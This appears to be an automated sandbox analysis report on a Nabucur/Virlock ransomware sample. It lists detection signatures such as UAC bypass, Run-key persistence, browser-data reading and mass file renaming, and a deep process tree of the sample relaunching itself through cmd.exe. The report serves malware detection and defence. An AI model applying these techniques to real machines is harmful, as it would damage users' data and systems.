Overview

overview

10

Static

static

3

2026-07-19...ck.exe

windows10-2004-x64

10

2026-07-19...ck.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/07/2026, 02:01

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
  • Size 1.6MB
  • Sample260719-cf12ascv3s
  • SHA256 71831c4d87f855f9b9e68e53a8fc38a50f847d520a6f35df146a44695453aaed
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionnabucurpersistenceransomwarespywarestealertrojan

Malware Config

Signatures

  • Family: Nabucur

    Nabucur is a ransomware first seen in 2015.

    ransomwarenabucur
  • Modifies visibility of file extensions in Explorer 2 TTPs 64 IoCs
    defense_evasion
  • UAC bypass 3 TTPs 64 IoCs
    defense_evasiontrojan
  • Renames multiple (94) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Executes dropped EXE 5 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 64 IoCs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 64 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies registry key 1 TTPs 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of FindShellTrayWindow 22 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Users\Admin\YccUEgkI\MoMkUAss.exe
      "C:\Users\Admin\YccUEgkI\MoMkUAss.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      PID:2172
    • C:\ProgramData\eKksMcoU\xQkIoYoM.exe
      "C:\ProgramData\eKksMcoU\xQkIoYoM.exe"
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of FindShellTrayWindow
      PID:4108
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4416
      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
        C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1448
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5852
          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4752
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4776
              • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:2968
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                  8⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:608
                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                    9⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of WriteProcessMemory
                    PID:4876
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                      10⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:1172
                      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                        C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                        11⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:5248
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                          12⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:1276
                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                            13⤵
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of WriteProcessMemory
                            PID:5052
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                              14⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2816
                              • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                15⤵
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of WriteProcessMemory
                                PID:2176
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                  16⤵
                                  • Executes a command shell one-liner
                                  • Suspicious use of WriteProcessMemory
                                  PID:5932
                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                    17⤵
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of WriteProcessMemory
                                    PID:2620
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                      18⤵
                                      • Executes a command shell one-liner
                                      • Suspicious use of WriteProcessMemory
                                      PID:1096
                                      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                        C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                        19⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:4824
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                          20⤵
                                            PID:2944
                                            • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                              C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                              21⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:5004
                                              • C:\Windows\SysWOW64\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                22⤵
                                                • Executes a command shell one-liner
                                                PID:5532
                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                  23⤵
                                                  • System Location Discovery: System Language Discovery
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:1636
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                    24⤵
                                                      PID:1216
                                                      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                        C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                        25⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:1956
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                          26⤵
                                                          • Executes a command shell one-liner
                                                          PID:5320
                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                            27⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:3328
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                              28⤵
                                                                PID:1976
                                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                  29⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:1840
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                    30⤵
                                                                      PID:2708
                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                        31⤵
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:2572
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                          32⤵
                                                                            PID:4012
                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                              33⤵
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:1408
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                34⤵
                                                                                  PID:4460
                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                    35⤵
                                                                                      PID:1180
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                        36⤵
                                                                                        • Executes a command shell one-liner
                                                                                        PID:2520
                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                          37⤵
                                                                                          • System Location Discovery: System Language Discovery
                                                                                          PID:5428
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                            38⤵
                                                                                              PID:4984
                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                39⤵
                                                                                                  PID:1352
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                    40⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:3192
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                      41⤵
                                                                                                        PID:4740
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                          42⤵
                                                                                                          • Executes a command shell one-liner
                                                                                                          PID:1340
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                            43⤵
                                                                                                              PID:3740
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                44⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:5616
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                  45⤵
                                                                                                                    PID:2556
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                      46⤵
                                                                                                                      • Executes a command shell one-liner
                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                      PID:2860
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                        47⤵
                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                        PID:980
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                          48⤵
                                                                                                                          • Executes a command shell one-liner
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          PID:2272
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                            49⤵
                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                            PID:1084
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                              50⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:5552
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                51⤵
                                                                                                                                  PID:3720
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                    52⤵
                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                    PID:4980
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                      53⤵
                                                                                                                                        PID:5748
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                          54⤵
                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                          PID:4188
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                            55⤵
                                                                                                                                              PID:3528
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                56⤵
                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                PID:1548
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                  57⤵
                                                                                                                                                    PID:4496
                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                      58⤵
                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                      PID:6124
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                        59⤵
                                                                                                                                                          PID:5536
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                            60⤵
                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                            PID:2984
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                              61⤵
                                                                                                                                                                PID:2296
                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                  62⤵
                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                  PID:3844
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                    63⤵
                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                    PID:4260
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                      64⤵
                                                                                                                                                                        PID:4532
                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                          65⤵
                                                                                                                                                                            PID:1264
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                            65⤵
                                                                                                                                                                              PID:1512
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                66⤵
                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                PID:5404
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                  67⤵
                                                                                                                                                                                    PID:2060
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                      68⤵
                                                                                                                                                                                        PID:4124
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                          69⤵
                                                                                                                                                                                            PID:1160
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                              70⤵
                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                              PID:5560
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                71⤵
                                                                                                                                                                                                  PID:5756
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                    72⤵
                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                    PID:4820
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                      73⤵
                                                                                                                                                                                                        PID:4744
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                          74⤵
                                                                                                                                                                                                            PID:5956
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                              75⤵
                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                              PID:4580
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                76⤵
                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                PID:1656
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                  77⤵
                                                                                                                                                                                                                    PID:4836
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                      78⤵
                                                                                                                                                                                                                        PID:3088
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                          79⤵
                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                          PID:4624
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                            80⤵
                                                                                                                                                                                                                              PID:4556
                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                81⤵
                                                                                                                                                                                                                                  PID:5600
